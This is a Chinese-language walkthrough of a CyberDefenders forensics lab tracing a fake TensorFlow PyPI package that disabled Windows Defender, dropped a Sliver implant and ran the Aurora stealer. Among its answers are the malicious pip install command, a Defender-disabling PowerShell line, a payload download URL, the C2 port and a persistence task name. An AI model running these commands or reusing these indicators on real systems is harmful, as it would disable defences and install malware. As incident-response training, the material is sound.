[CyberDefenders Write-up] 恶意 PyPi(从 pip 到 Sliver 与 Aurora 窃密木马)
场景
作为 SOC 分析师,你需要检查一个用户收到的可疑文档。一位同事说他没有发现任何异常,但沙箱分析触发了告警。你的任务是深入调查该文档,确认其是否恶意。
分类:端点取证
工具:EZ Tools、DB Browser for SQLite、Strings、Event Log Explorer
本次实验我们将分析从 C 盘收集的 Windows 取证 artifacts。根据实验名称,很明显这是一起因安装恶意 PyPi 包而导致系统被入侵的案例。
问题与解答
Q1:Alex Rivera 博士最近下载了一个外部库,引发了对系统安全的怀疑。你能识别出这次下载所使用的具体命令吗?
关于 Python 包(PyPi),我们通常使用 pip。获取恶意包安装命令主要有两种方式:
首先是查看特定用户的 ConsoleHost_history.txt。这里我们只有 Administrator 用户,因此检查了存储每个用户 PowerShell 命令行历史的控制台主机历史,发现通过 pip 从 a1l4m(本实验作者)的 GitHub 安装了 Python 包。仓库名称表明 Alex Rivera 博士认为这可能是合法的 TensorFlow 包,从而导致机器被入侵。
第二种方式是命令行日志(如果启用),但遗憾的是本系统未启用,这也在意料之中。
pip install git+https://github.com/a1l4m/TensorFlow.git#egg=TensorFlow
Q2:调查过程中,你发现了一条修改系统安全设置、导致 Windows Defender 以有利于攻击者的方式被禁用的命令。这条命令是什么?
由于 Prefetch 可用于创建每个 .exe 文件的执行时间线,我使用 Eric Zimmerman 的 PECmd 工具解析整个 prefetch 文件夹,查看 pip 可执行文件的执行时间。发现 pip.exe 在 2024-02-25 12:15 至 12:23 之间有 4 次执行。同时注意到 setup.exe 非常显眼,因为它是从假 TensorFlow 包的 pip 安装所创建的临时文件夹中执行的。
PECmd.exe -d "C:\Users\Administrator\Desktop\Start Here\Artifacts\C\Windows\prefetch" --csv .
接着我解析了整个 Windows 事件日志文件夹(理论上只需解析 PowerShell 相关日志),创建一个可通过 Timeline Explorer 打开的 CSV 文件,以便使用过滤器查找特定事件。关注点是恶意包可能运行 PowerShell 命令来禁用 Windows Defender 的实时监控。在 2024-02-26 12:22,发现执行了 Set-MpPreference -DisableRealtimeMonitoring $true,这与我们之前发现的 prefetch 中 pip 执行时间吻合。
EvtxECmd.exe -d "C:\Users\Administrator\Desktop\Start Here\Artifacts\C\Windows\System32\winevt\logs" --csv . --csvf log_timeline.csv
Set-MpPreference -DisableRealtimeMonitoring $true
Q3:根据你的时间线分析,你首次观察到导致 Windows Defender 被禁用的未授权安全设置更改发生在什么日期和时间?
2024-02-26 12:22
Q4:安全设置被入侵后,系统出现了一个新文件。该文件的 MD5 哈希值是什么?
从 prefetch 时间线可以看到,假 TensorFlow 包的临时安装文件夹中有两个 setup.exe 被执行。生成其中任何一个的哈希即可得到答案。
在 VirusTotal 上搜索该哈希(5f8212f95007a5aceb61d3be86c7d1bdb03980ae8a3bd822c847d4c83c528330),发现这是 Sliver 植入程序,一旦执行就会负责与威胁行为者建立反向 shell 连接。
23aadf3c98745cf293bff6b1b0980429
Q5:调查服务器上检测到的恶意文件的来源。该文件在与外部 C2 服务器通信之前,最初是从哪个确切 URL 下载的?
在 Windows 工作站上,使用 pip 安装包时会在 C:\Users\<username>\AppData\Local\Temp\ 下创建临时文件。在 VS Code 中打开整个文件夹并使用“在文件中查找”功能搜索 Sliver 植入程序的文件名,找到了用于下载并执行 Sliver 植入程序的 Python 脚本。
http://3.66.85.252:8000/file.exe
Q6:上一问中的文件开始与外部 C2 服务器通信。该通信使用了哪个端口?
回到 VirusTotal,进入“行为”选项卡,找到用于反向 shell 连接的端口。
8888
Q7:攻击者通常通过持久化机制确保其对入侵系统的持续访问。这种机制在 Rivera 博士的系统中是何时建立的?
再次检查 prefetch 时间线,寻找诸如 reg.exe 或 schtasks.exe 执行之类的明显线索。发现 2024-02-26 12:36 执行了 schtasks.exe,因此需要查看此时创建的计划任务。
通过检查 Windows\System32\Tasks 文件夹,看到一个名为 “SystemUpdatesDaily” 的可疑任务,其修改日期与 schtasks.exe 执行时间戳相同。
检查该任务配置文件,发现这个计划任务会在系统启动时以最高权限(系统权限)执行 Sliver 植入程序。确认计划任务创建于 12:36。
2024-02-26 12:36
Q8:攻击者完成入侵后,在主机系统上留下了一个特定文件。根据你收集的信息,提供该文件的名称,它是在攻击者在系统上建立持久化后不久创建的。
在 prefetch 时间线上,还注意到 system.exe 的执行,这不是 Windows 上的标准可执行文件。
我们计算该可执行文件的哈希,其修改日期在事件时间范围内,因此该文件是在事件期间创建的(可与 MFT 和 UsnJournal 中的文件创建事件关联)。
在 VirusTotal 上搜索此哈希后,确认该文件是恶意文件,威胁标签将其标识为 Aurora Stealer。
system.exe
Q9:确定第 8 问中识别的恶意文件开始运行的确切时刻。它首次执行是什么时候?
根据 prefetch 时间线,该文件首次执行于 12:42。
2024-02-26 12:42
Q10:识别出第 8 问中的恶意文件后,确定恶意软件家族名称至关重要。该信息对于将攻击与已知威胁关联并制定适当的防御措施非常关键。第 8 问中恶意文件的恶意软件家族名称是什么?
从流行的威胁标签中已经可以得知,查看社区标签,许多恶意软件沙箱也将其标记为 Aurora Stealer。
Aurora
CSD0tFqvECLokhw9aBeRqpNzLTXFlojmzFn6OlyTg9XWnhAP6q5FfiGb63VkvyGK4Ts3fFgibXiazrLEdjF1SLWRkmZG8toxbNpAbUM74/kzMRNdLOahR4saFgOpa9EOQEw+1x7NmlRnEAvVbzcj2a4vGpy1VmCzljt2Wfxl0cM=